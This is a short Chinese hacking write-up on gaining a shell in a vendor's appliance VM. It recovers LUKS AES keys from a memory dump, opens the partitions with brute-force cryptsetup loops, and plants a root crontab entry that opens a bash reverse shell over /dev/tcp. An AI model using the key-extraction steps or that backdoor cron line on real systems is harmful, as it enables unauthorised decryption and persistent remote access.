某心云的系统,开机之后就那么几个命令,让人很不爽,也看不到运行的源程序
开个shell玩玩(下文全部基于x86的虚拟机)
Just Look
- 掏出取证软件,啪得一下,好吧,什么都没有
- 回归初始,还得手动分析,浅浅看一下磁盘,没事了,原来是LUKS加密的盘
Let ME In
- 很明显,在系统启动后,磁盘不再是加密的(不然运行个der),那么密钥应该是被加载进内存之中的,先来看看加密磁盘的一些信息,把这个盘挂载进Kali
/dev/sda1
~/dev/sda6
都是,然后用cryptsetup
看看信息
# example
cryptsetup luksDump /dev/sda1
- OK,so,
Version
isLUKS1
andCipher name
isAES
,then,try to find the aes-key in memory(抽风了,脑子冒出来点儿非中文的东西),把WXY运行时的内存Copy进Kali
aeskeyfind mem
- 找到点儿AES的key,hex转bytes,写入文件
data = open("keys.txt", "r").read().strip().split("\n")
data = [bytes.fromhex(i) for i in data]
for i, v in enumerate(data):
open(f"keys/{i}", "wb").write(v)
- 艺术就是爆破,只有2,5,6,试试便知
for i in {0..34}; do echo "$i";cryptsetup luksOpen /dev/sda2 test2 --master-key-file "$i"; done
for i in {0..34}; do echo "$i";cryptsetup luksOpen /dev/sda5 test5 --master-key-file "$i"; done
for i in {0..34}; do echo "$i";cryptsetup luksOpen /dev/sda6 test6 --master-key-file "$i"; done
- 匹配的密钥,会有个新的devicde出现
- ok,可以挂载了
- 简单观察一下,三个盘,分别为系统,主程序,配置文件
Get Shell
- 经典crontab
* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/ip/port 0>&1"
- 启动WXY,很成功
- 很清晰的看到三个盘挂载至何处
Other Try
- 很贴心呐,不需要重新配yum,装个
openssh-server
,改改sshd_config
,然后就可以ssh了
yum install openssh-server -y
Double Free
- 装了ssh之后,过会儿ssh就会爆炸,Double Free hhhh,不如我上个马